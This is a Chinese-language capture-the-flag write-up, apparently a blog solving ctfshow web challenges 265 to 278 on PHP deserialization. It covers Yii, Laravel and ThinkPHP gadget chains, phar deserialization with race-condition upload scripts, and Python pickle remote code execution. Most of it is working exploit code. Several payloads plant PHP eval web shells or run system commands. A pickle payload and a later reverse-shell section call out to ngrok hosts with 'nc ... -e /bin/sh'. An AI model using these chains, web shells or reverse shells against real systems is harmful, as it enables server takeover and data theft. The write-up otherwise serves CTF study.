发现后面请求的name确实跟着变了,证明猜测成立 ,那就来ssrf读取flag
这里需要一个file协议
file协议
所以构造payload

?name= file:///flag

web265

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-12-04 23:52:24
Last Modified by: h1xa
Last Modified time: 2020-12-05 00:17:08
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;#如果token等于密码,这里很明显如果不是一个数是不可能的,但是可以使用引用
#也可以理解成别名,给token取一个别名为password两者就是同一个数
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());#给这个对象的token赋值随机整数的md5值

if($ctfshow->login()){
echo $flag;
}
mt_rand() 使用 Mersenne Twister 算法返回随机整数。
<?php

class ctfshowAdmin{
public $token;
public $password;
public function __construct()
{
$this->password = &$this->token;
}

}
$final = new ctfshowAdmin();
echo urlencode(serialize($final));
#O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3BN%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D

image-20220406182322292

web266

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-12-04 23:52:24
Last Modified by: h1xa
Last Modified time: 2020-12-05 00:17:08
email: h1xa@ctfer.com
link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
<?php
class ctfshow{
}

$final = new ctfshow();
echo serialize($final);
echo "\n";
echo urlencode(serialize($final));

#O:7:"ctfshow":0:{}
#O%3A7%3A%22ctfshow%22%3A0%3A%7B%7D

但是这输入的时候是不能含有ctfshow的,新版hackbar有问题

O:7:"Ctfshow":0:{}
O:7:"ctfshow":0:{111}

第二种推测可能是反序列化之后出现问题,对象就直接被销毁了

image-20220406183742575

web267

image-20220406184313127

我还以为开错环境了

login页面出来是yii框架

image-20220406184822593

admin admin登录了

about页面才出现提示

image-20220406184941640

about页面传参数

image-20220406185055199

yii框架利用链

<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
#TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

访问一下backdoor文件

image-20220406185710589

namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = "echo '<?php eval(\$_POST[zf]);?>' > /var/www/html/basic/web/zf.php";

}
}
}
#TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NjU6ImVjaG8gJzw/cGhwIGV2YWwoJF9QT1NUW3pmXSk7Pz4nID4gL3Zhci93d3cvaHRtbC9iYXNpYy93ZWIvemYucGhwIjt9aToxO3M6MzoicnVuIjt9fX19

写文件进去

image-20220406185921224

直接蚁剑连咯

image-20220406190032603

web268-270

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-05-03 21:55:29
Last Modified by: h1xa
Last Modified time: 2021-05-04 01:25:28
email: h1xa@ctfer.com
link: https://ctfer.com

*/
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');
echo(base64_encode(serialize($exp)));
}
?>
#TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTtwaHBpbmZvKCk7Pz4iID4vdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19

真坏上面的不给用

image-20220406190810072

image-20220406190826680

image-20220406190850719

web271

Laravel利用链

<?php

/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$application = new Illuminate\Foundation\Application(
array(
"Illuminate\Contracts\Console\Kernel"=>
array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
"system",array('tac /f*'),
$genericuser,
$application
);
echo urlencode(serialize($pendingcommand));
}
#O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22tac+%2Ff%2A%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D

image-20220406192112844

web272-273

<?php
namespace Illuminate\Broadcasting{

use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;

class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="cat /flag";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";

}
}
namespace{

use Illuminate\Broadcasting\PendingBroadcast;

echo urlencode(serialize(new PendingBroadcast()));
}

#O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D

image-20220406192709905

image-20220406192714478

web274

thinkphp利用链

image-20220406193030426

image-20220406193052196

<?php
namespace think\process\pipes{

use think\model\Pivot;

class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot();
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'feng'=>new Request()
);
$this->append=array(
'feng'=>array(
'hello'=>'world'
)
);
}
}
}
namespace think\model{

use think\Model;

class Pivot extends Model
{

}
}
namespace think{
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->hook['visible']=[$this,'isAjax'];
$this->filter="system";
}
}
}
namespace{

use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));
}
#TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJmZW5nIjthOjE6e3M6NToiaGVsbG8iO3M6NToid29ybGQiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJmZW5nIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjg7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTA6e3M6MTA6InZhcl9tZXRob2QiO3M6NzoiX21ldGhvZCI7czo4OiJ2YXJfYWpheCI7czowOiIiO3M6ODoidmFyX3BqYXgiO3M6NToiX3BqYXgiO3M6MTI6InZhcl9wYXRoaW5mbyI7czoxOiJzIjtzOjE0OiJwYXRoaW5mb19mZXRjaCI7YTozOntpOjA7czoxNDoiT1JJR19QQVRIX0lORk8iO2k6MTtzOjE4OiJSRURJUkVDVF9QQVRIX0lORk8iO2k6MjtzOjEyOiJSRURJUkVDVF9VUkwiO31zOjE0OiJkZWZhdWx0X2ZpbHRlciI7czowOiIiO3M6MTU6InVybF9kb21haW5fcm9vdCI7czowOiIiO3M6MTY6Imh0dHBzX2FnZW50X25hbWUiO3M6MDoiIjtzOjEzOiJodHRwX2FnZW50X2lwIjtzOjE0OiJIVFRQX1hfUkVBTF9JUCI7czoxNToidXJsX2h0bWxfc3VmZml4IjtzOjQ6Imh0bWwiO319fX19fQ==

利用多加个变量system=ls /

image-20220406201155401

image-20220406201232755

web275

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-12-08 19:13:36
Last Modified by: h1xa
Last Modified time: 2020-12-08 20:08:07
email: h1xa@ctfer.com
link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){#检查有没有php或者..
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){#这里直接可以执行命令啊
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

where is flag?

image-20220406203034003

web276

位置跟277换了

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-12-08 19:13:36
Last Modified by: h1xa
Last Modified time: 2020-12-08 20:08:07
email: h1xa@ctfer.com
link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

where is flag?

先改一下php.ini配置

image-20220406220641916

生成phar 创建一个phar.phar

<?php
class filter{
public $filename = "1|echo '<?=@eval(\$_POST[1])?>'>>1.php;tac f*";
public $filecontent;
public $evilfile = true;
public $admin = true;
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new filter();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

import requests
import threading
import base64

thread_num=10
thread_list=[]
url = 'http://79529c41-3bf4-48da-bac0-ab164e6811b7.challenge.ctf.show:8080/'

f = open('./phar.phar', 'rb')

data = f.read()
flag = False


def work5():
global flag
#?fn=phar://./phar.phar/
#?fn=phar://phar.phar
r = requests.post(url+"?fn=phar://phar.phar",proxies={'http': '127.0.0.1:2021'})
if "ctfshow{" in r.text:
print(r.text)
flag = True
with open('./flag.txt','w+',encoding = 'utf-8') as f:
f.write(r.text)

def work6():
global flag
r = requests.post(url+"?fn=phar.phar", data=data,proxies={'http': '127.0.0.1:2021'})
if "ctfshow{" in r.text:
print(r.text)
flag = True
with open('./flag.txt','w+',encoding = 'utf-8') as f:
f.write(r.text)


def work7():
global flag
r = requests.post(url+"?fn=/var/www/html/phar.phar", data=data,proxies={'http': '127.0.0.1:2021'})
result = requests.get(url+"?fn=phar://phar.phar",proxies={'http': '127.0.0.1:2021'})
if "ctfshow{" in result.text:
print(result.text)
flag = True

def run():
global flag
while not flag:
print('retry')

"""
方法一:非预期
"""
work7()
"""
方法二:预期,条件竞争
"""
#work5()
#work6()


if __name__ == '__main__':
while thread_num:
t = threading.Thread(target=run)
thread_num-=1
t.start()
thread_list.append(t)

for i in thread_list:
i.join()

#实践

#?fn=phar://phar.phar
#?fn=phar://./phar.phar 和?fn=phar://phar.phar/
"""
警告,不生成
Warning</b>: file_put_contents(phar://phar.phar): failed to open stream: phar error: file &quot;&quot; in phar &quot;phar.phar&quot; cannot be empty in <b>/var/www/html/index.php
Warning</b>: copy(): The first argument to copy() function cannot be a directory in <b>/var/www/html/index.php</b> on line <b>48</b><br />
Warning</b>: unlink(/var/www/html/phar://phar.phar): No such file or directory in <b>/var/www/html/index.php
因为目录下无phar.phar文件,故报错
"""

#羽师傅的解法
#?fn=a
"""
生成空txt
因为:无post数据
"""

#方法一
#?fn=/var/www/html/phar.phar会生成phar.phar文件
#原因在于:file_put_contents($_GET['fn'], $content);能生成phar.phar文件(绝对路径),但unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);中fn与当前路径拼接会导致删除失败,故成功生成phar文件
#但如果竞争就会生成部分空文件和部分phar内容的TXT,而且不生成phar.phar文件,不懂。。。可能冲突了?多线程没学好
"""
unlink(/var/www/html//var/www/html/phar.phar): No such file or directory in <b>/var/www/html/index.php
"""
#假如phar.phar文件存在,则?fn=phar://phar.phar触发反序列化
"""
Warning</b>: file_put_contents(phar://phar.phar): failed to open stream: phar error: file &quot;&quot; in phar &quot;phar.phar&quot; cannot be empty in <b>/var/www/html/index.php</b> on line <b>47</b><br />
Warning</b>: copy(): The first argument to copy() function cannot be a directory in <b>/var/www/html/index.php</b> on line <b>48</b><br />
Warning</b>: unlink(/var/www/html/phar://phar.phar): No such file or directory in <b>/var/www/html/index.php
"""

方法二:
"""
实践后发现
通过条件竞争,先?fn=phar.phar,data=数据,生成phar.phar
然后?fn=phar://phar.phar
unlink()/copy()/file_put_content()都可以触发phar反序列化
但unlink前面有路径阻隔,本来想../绕过,发现..被过滤
"""

import requests
import threading
import base64

thread_num = 10 #设置线程数
thread_list = [] #设置线程集合
url = "http://a69f9705-e24a-4a95-a0ff-606456852ce1.challenge.ctf.show/"
f = open('./phar.phar','rb')

data = f.read()
flag = False

def work5():
global flag
r = requests.post(url + "?fn=phar://phar.phar")
if "ctfshow" in r.text:
print(r.text)
flag = True
with open('./flag.txt','w+',encoding='utf-8') as f:
f.write(r.text)

def work6():
global flag
r = requests.post(url + "?fn=phar.phar",data=data)
if "ctfshow{" in r.text:
print(r.text)
flag = True
with open('./flag.txt','w+',encoding='utf-8') as f:
f.write(r.text)

def work7():
global flag
r = requests.post(url + "?=/var/www/html/phar.phar",data=data)
result = requests.get(url + "?fn=phar://phar.phar")
if "ctfshow{" in result.text:
print(result.text)
flag = True
def run():
global flag
while not flag:
print('retry')
#方法一:非预期
work7()
#方法二:预期条件竞争
#work5()
#work6()
if __name__ == '__main__':
while thread_num:
t = threading.Thread(target=run)
thread_num -= 1
t.start()
thread_list.append(t)

for i in thread_list:
i.join()

phar反序列化

phar文件本质是一种压缩文件,会以序列化的形式存储用户定义的meta-data.当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容

什么是phar文件

在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多php代码文件和其他资源(如图像 样式表等)捆绑到一个归档文件中来实现应用程序和库的分发.

php通过用户定义的内置的”流包装器”实现复杂的文件处理功能.内置包装器可以用于文件操作系统函数,如[fopen(),copy(),file_exists()和filesize().phar://就是一种内置的流包装器

php中一些常见的流包装器

file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

phar文件的结构

stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?>结尾,否则无法识别.xxx可为自定义内容
manifest:phar 文件本质上是一种压缩文件,其中每个被压缩的文件的权限 属性等信息被放在这个部分.这个部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方
content:被压缩文件的内容
signature (可空):签名,放在末尾

生成一个phar文件

<?php
class Test {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

利用条件

  1. phar文件要能够上传到服务器端
  2. 要有可用的魔术方法作为跳板
  3. 文件操作函数的参数可控,且: / phar等特殊字符没有被过滤

受影响函数

image-20220412094509501

//exif
exif_thumbnail
exif_imagetype

//gd
imageloadfont
imagecreatefrom***系列函数

//hash

hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file

// file/url
get_meta_tags
get_headers

//standard
getimagesize
getimagesizefromstring

// zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';

//配合其他协议:(SUCTF)
//https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/
//当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
//php://filter/read=convert.base64-encode/resource=phar://phar.phar

//Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>

// Mysql
//LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper
//配置一下mysqld:
//[mysqld]
//local-infile=1
//secure_file_priv=""

<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
?>

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar

GIF格式验证可以通过在文件头部添加GIF89a绕过
1、$phar->setStub(“GIF89a”.“”); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif

web277-278

image-20220406203410604

import os
import pickle
import base64
import requests
class exp(object):
def __reduce__(self):
return (os.popen,('nc 2.tcp.ngrok.io 16400 -e /bin/sh',))

a=exp()
s=pickle.dumps(a)
url="http://8df544be-de90-458a-ac48-26e622963733.challenge.ctf.show/backdoor"
params={
'data':base64.b64encode(s)
}
r=requests.get(url=url,params=params)
print(r.text)

image-20220406210434118

这个好像用过一次就要重开一个

image-20220406211354162

image-20220406211501481

image-20220406211450199

image-20220406211348918

nc 反弹bash

首先攻击端开两个窗口一个用来反弹bash,另一个用来转发流量

监听本地8888端口,kali的ip是152

nc -lvp 8888

image-20220406210021622

转发tcp流量,转发到kali的888端口上面

./ngrok tcp 192.168.5.152:8888

image-20220406210138853

被攻击端的语法

nc -vv 6.tcp.ngrok.io 16893  -e /bin/sh

image-20220406210305935

image-20220406210327480